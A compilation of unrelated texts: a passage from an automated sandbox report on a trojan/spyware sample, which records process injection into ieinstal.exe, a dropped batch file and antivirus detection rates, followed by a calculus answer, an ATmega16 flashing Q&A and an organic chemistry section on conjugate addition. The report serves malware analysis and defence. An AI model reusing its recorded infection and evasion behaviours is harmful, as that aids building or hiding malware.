9_2_0041DEFF Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0041DF1F Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_00402FB0 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0319EBB0 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0316F900 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_03184120 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_03221002 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0317B090 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_031920A0 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_03186E30 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_03160D20 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_03231D55 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_03192581 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0317D5E0 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0317841F Source: C:\Users\user\AppData\Local\Mqbmnet.exe Code function: 19_3_04B26EB0 Source: C:\Users\user\AppData\Local\Mqbmnet.exe Code function: 19_3_04B26EB0 Source: C:\Users\user\AppData\Local\Mqbmnet.exe Code function: 19_3_04B26EB0 Source: C:\Users\user\AppData\Local\Mqbmnet.exe Code function: 19_3_04B26EB0 Source: C:\Users\user\AppData\Local\Mqbmnet.exe Code function: 19_3_04B26EB0 Source: C:\Users\user\AppData\Local\Mqbmnet.exe Code function: 19_3_04B26EB0 Source: C:\Users\user\AppData\Local\Mqbmnet.exe Code function: 19_3_04B26EB0 Source: C:\Users\user\AppData\Local\Mqbmnet.exe Code function: 19_3_04B26EB0
Found potential string decryption / allocating functions Show sources
Source: C:\Windows\SysWOW64\notepad.exe Code function: String function: 50484224 appears 50 times Source: C:\Users\user\Desktop\Mqbmupv_Signed_.exe Code function: String function: 0231C890 appears 48 times Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: String function: 0316B150 appears 32 times Source: C:\Users\user\AppData\Local\Mqbmnet.exe Code function: String function: 04B2B4A4 appears 32 times Source: C:\Users\user\AppData\Local\Mqbmnet.exe Code function: String function: 04B23AF4 appears 40 times
PE / OLE file has an invalid certificate Show sources
Source: Mqbmupv_Signed_.exe Static PE information: invalid certificate
PE file contains strange resources Show sources
Source: Mqbmupv_Signed_.exe Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST Source: Mqbmupv_Signed_.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST Source: Mqbmnet.exe.0.dr Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST Source: Mqbmnet.exe.0.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Sample file is different than original file name gathered from version info Show sources
Source: Mqbmupv_Signed_.exe, 00000000.00000000.204808352.0000000000465000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameYes( vs Mqbmupv_Signed_.exe
Yara signature match Show sources
Classification label Show sources
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@24/9@5/5
Contains functionality to check free disk space Show sources
Source: C:\Windows\SysWOW64\notepad.exe Code function: 2_2_5048784E GetDiskFreeSpaceA,
Creates files inside the user directory Show sources
Creates mutexes Show sources
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6436:120:WilError_01 Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5824:120:WilError_01
Executes batch files Show sources
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat
Parts of this applications are using Borland Delphi (Probably coded in Delphi) Show sources
Source: C:\Users\user\Desktop\Mqbmupv_Signed_.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Source: C:\Users\user\Desktop\Mqbmupv_Signed_.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Source: C:\Windows\SysWOW64\notepad.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Source: C:\Users\user\AppData\Local\Mqbmnet.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Source: C:\Users\user\AppData\Local\Mqbmnet.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Source: C:\Users\user\AppData\Local\Mqbmnet.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Source: C:\Users\user\AppData\Local\Mqbmnet.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\Mqbmupv_Signed_.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Reads the hosts file Show sources
Sample is known by Antivirus Show sources
Source: Mqbmupv_Signed_.exe Virustotal: Detection: 27% Source: Mqbmupv_Signed_.exe ReversingLabs: Detection: 45%
Sample reads its own file content Show sources
Spawns processes Show sources
Source: unknown Process created: C:\Users\user\Desktop\Mqbmupv_Signed_.exe 'C:\Users\user\Desktop\Mqbmupv_Signed_.exe' Source: unknown Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\System32\Notepad.exe Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat Source: unknown Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe Source: unknown Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat Source: unknown Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Source: unknown Process created: C:\Users\user\AppData\Local\Mqbmnet.exe 'C:\Users\user\AppData\Local\Mqbmnet.exe' Source: unknown Process created: C:\Users\user\AppData\Local\Mqbmnet.exe 'C:\Users\user\AppData\Local\Mqbmnet.exe' Source: unknown Process created: C:\Windows\SysWOW64\autochk.exe C:\Windows\SysWOW64\autochk.exe Source: unknown Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe Source: unknown Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe Source: unknown Process created: C:\Windows\SysWOW64\control.exe C:\Windows\SysWOW64\control.exe Source: unknown Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe Source: C:\Users\user\Desktop\Mqbmupv_Signed_.exe Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\System32\Notepad.exe Source: C:\Users\user\Desktop\Mqbmupv_Signed_.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe Source: C:\Windows\SysWOW64\notepad.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat Source: C:\Windows\SysWOW64\notepad.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Mqbmnet.exe 'C:\Users\user\AppData\Local\Mqbmnet.exe' Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Mqbmnet.exe 'C:\Users\user\AppData\Local\Mqbmnet.exe' Source: C:\Users\user\AppData\Local\Mqbmnet.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe Source: C:\Users\user\AppData\Local\Mqbmnet.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Uses an in-process (OLE) Automation server Show sources
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\InProcServer32
Writes ini files Show sources
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# What is the first derivative of the curve described by y = 1/2root(3)(x) + 8/x + 1?
Nov 21, 2016
First of all, we can rewrite the curve as
$y = \frac{1}{2} {x}^{\frac{1}{3}} + 8 {x}^{- 1} + 1$
Differentiate using the power rule, $\left({x}^{n}\right) ' = n {x}^{n - 1}$.
$\frac{\mathrm{dy}}{\mathrm{dx}} = \frac{1}{3} \left(\frac{1}{2}\right) {x}^{- \frac{2}{3}} + \left(- 1\right) 8 {x}^{- 2} + 0$
$\frac{\mathrm{dy}}{\mathrm{dx}} = \frac{1}{6 {x}^{\frac{2}{3}}} - \frac{8}{x} ^ 2$
Hopefully this helps!
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# LED remains off on ATmega16
I wrote this simple program:
#include <avr/io.h>
int main(void) {
DDRA = 0xff;
PORTA = 0xff;
while(1) {
}
}
When I program it to my brand new ATmega16A-PU, avrdude tells me that everything's fine. But when I connect an LED to port A, it never gets enabled.
For compiling the program and flashing it onto the ATmega, I use the following commands:
avr-gcc -mmcu=atmega16 -c -o test.o test.c
avr-gcc -mmcu=atmega16 -o test.elf test.o
avrdude -p m16 -c avrispv2 -P usb -U flash:w:test.elf
The following pins of the microcontroller are connected:
40 PA0 ---------> 220 Ω --> green LED --> GND
06 PB5 (MOSI) --> MOSI of the programmer
07 PB6 (MISO) --> MISO of the programmer
08 PB7 (SCK) ---> SCK of the programmer
09 RESET -------> RESET of the programmer
10 VCC ---------> VCC of the programmer
11 GND ---------> GND of the programmer
When I connect the left end of the 220 Ω resistor directly to VCC, the LED glows, so the LED is ok. The microcontroller is brand new and I already tried another one (also brand new), so I think they are ok too.
EDIT: the fuses are set to 0b10011001 (high) and 0b11100001 (low).
Any idea, why the microcontroller does not set port PA0 to VCC?
• 1. Are the fuses default? Did you change them? 2. Can you include the output for avr-objdump -C -d test.elf ? 3. Are you on Windows/Linux/... 4. Also include the full output for your avrdude-command line. 5. Include a link to the datasheet of the controller. 6. If possible add a picture of your set up. – jippie Jun 3 '13 at 20:30
• I use Linux. The output of avr-objdump: pastebin.com/htm68TPy – Ethan Leroy Jun 3 '13 at 20:36
• Not sure why, but your program is not writing to the port registers at all, according to the disassembly. – jippie Jun 3 '13 at 20:53
• Are you sure you want to flash the .elf file? – jippie Jun 3 '13 at 21:03
• @jippie don’t the two st Z,r18 instructions write to the port registers through indirect addressing (which, admittedly, looks like an awkward way to do it) ? – microtherion Jun 3 '13 at 21:36
Too much details for a comment, so I chose to write it as answer.
Try these commands:
cflags="-g -DF_CPU=1000000 -Wall -Os -Werror -Wextra"
avrType=m16
avr-gcc ${cflags} -mmcu=${avrType} -Wa,-ahlmns=test.lst -c -o test.o test.cpp
avr-gcc ${cflags} -mmcu=${avrType} -o test.elf test.o
avr-objcopy -j .text -j .data -O ihex test.elf test.hex
avrdude -p \${avrType} -c avrispv2 -P usb -v -U flash:w:test.hex
Check http://git.linformatronics.nl/gitweb/?p=makefile;a=summary for a generic Makefile. It'll need some tweaking as I am using a different programmer and controller, but it should be pretty straightforward.
• Thanks! You were right. I didn't really want to flash the elf file. I wanted a hex file... – Ethan Leroy Jun 3 '13 at 22:32
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# 19.13 Conjugate Nucleophilic Addition to $$\alpha$$, $$\beta$$-unsaturated Aldehydes and Ketones
Objectives
After completing this section, you should be able to
1. explain how the carbonyl group which is present in αβ‑unsaturated aldehydes and ketones activates the carbon‑carbon double bond so that it is susceptible to attack by nucleophiles.
2. write equations to illustrate the addition of amines, water and lithium diorganocopper reagents to αβ‑unsaturated aldehydes and ketones.
3. identify the product formed from the reaction of a given primary or secondary amine with a given αβ‑unsaturated aldehyde or ketone.
4. identify the aldehyde or ketone, the primary or secondary amine, or both, needed to prepare a given β‑amino aldehyde or ketone.
5. identify the product formed from the reaction of an αβ‑unsaturated aldehyde or ketone with water.
6. identify the product formed from the reaction of a given αβ‑unsaturated aldehyde or ketone with a given lithium diorganocopper reagent.
7. identify the αβ‑unsaturated aldehyde or ketone, the lithium diorganocopper reagent, or both, needed to prepare a given product through a conjugate addition reaction.
Study Notes
At first this section may appear to contain a considerable amount of information, but you should realize that much of the material presented is really repetition. Essentially we see how three different nucleophilic reagents, primary and secondary amines, water and lithium diorganocoppers can add across a carbon‑carbon double bond when the latter is conjugated to the carbonyl group of an aldehyde or ketone. Note that the first reagent can also react directly with the carbonyl group of an aldehyde or ketone when there is no conjugated carbon‑carbon double bond present, but that the third reagent, lithium dialkylcopper, cannot do so.
You may be confused about the designation of the product from the conjugate addition to an αβ‑unsaturated aldehyde or ketone as a 1,4 adduct. You can more clearly understand this name if you recognize that the proton added in the second step of the reaction first adds to the oxygen of the enolate ion to produce an enol. The latter then tautomerizes to the more stable keto form.
One of the largest and most diverse classes of reactions is composed of nucleophilic additions to a carbonyl group. Conjugation of a double bond to a carbonyl group transmits the electrophilic character of the carbonyl carbon to the beta-carbon of the double bond. These conjugated carbonyl are called enones or α, β unsaturated carbonyls. A resonance description of this transmission is shown below.
From this formula it should be clear that nucleophiles may attack either at the carbonyl carbon, as for any aldehyde, ketone or carboxylic acid derivative, or at the beta-carbon. These two modes of reaction are referred to as 1,2-addition and 1,4-addition respectively. A 1,4-addition is also called a conjugate addition.
### Basic reaction of 1,2 addition
Here the nucleophile adds to the carbon which is in the one position. The hydrogen adds to the oxygen which is in the two position.
### Basic reaction of 1,4 addition
In 1,4 addition the Nucleophile is added to the carbon β to the carbonyl while the hydrogen is added to the carbon α to the carbonyl.
1) Nucleophilic attack on the carbon β to the carbonyl
2) Proton Transfer
Here we can see why this addition is called 1,4. The nucleophile bonds to the carbon in the one position and the hydrogen adds to the oxygen in the four position.
3) Tautomerization
Going from reactant to products simplified
Whether 1,2 or 1,4-addition occurs depends on multiple variables but mostly it is determined by the nature of the nucleophile. During the addition of a nucleophile there is a competition between 1,2 and 1,4 addition products. If the nucleophile is a strong base, such as Grignard reagents, both the 1,2 and 1,4 reactions are irreversible and therefor are under kinetic control. Since 1,2-additions to the carbonyl group are fast, we would expect to find a predominance of 1,2-products from these reactions.
If the nucleophile is a weak base, such as alcohols or amines, then the 1,2 addition is usually reversible. This means the competition between 1,2 and 1,4 addition is under thermodynamic control. In this case 1,4-addition dominates because the stable carbonyl group is retained.
Water
Alcohols
Thiols
1o Amines
2o Amines
HBr
Cyanides
### Gilman Reagents
Another important reaction exhibited by organometallic reagents is metal exchange. Organolithium reagents react with cuprous iodide to give a lithium dimethylcopper reagent, which is referred to as a Gilman reagent. Gilman reagents are a source of carbanion like nucleophiles similar to Grignard and Organo lithium reagents. However, the reactivity of organocuprate reagents is slightly different and this difference will be exploited in different situations. In the case of α, β unsaturated carbonyls organocuprate reagents allow for an 1,4 addition of an alkyl group. As we will see later Grignard and Organolithium reagents add alkyl groups 1,2 to α, β unsaturated carbonyls
Organocuprate reagents are made from the reaction of organolithium reagents and CuI
This acts as a source of R:-
Example
### Nucleophiles which add 1,2 to α, β unsaturated carbonyls
Metal Hydrides
Grignard Reagents
Organolithium Reagents
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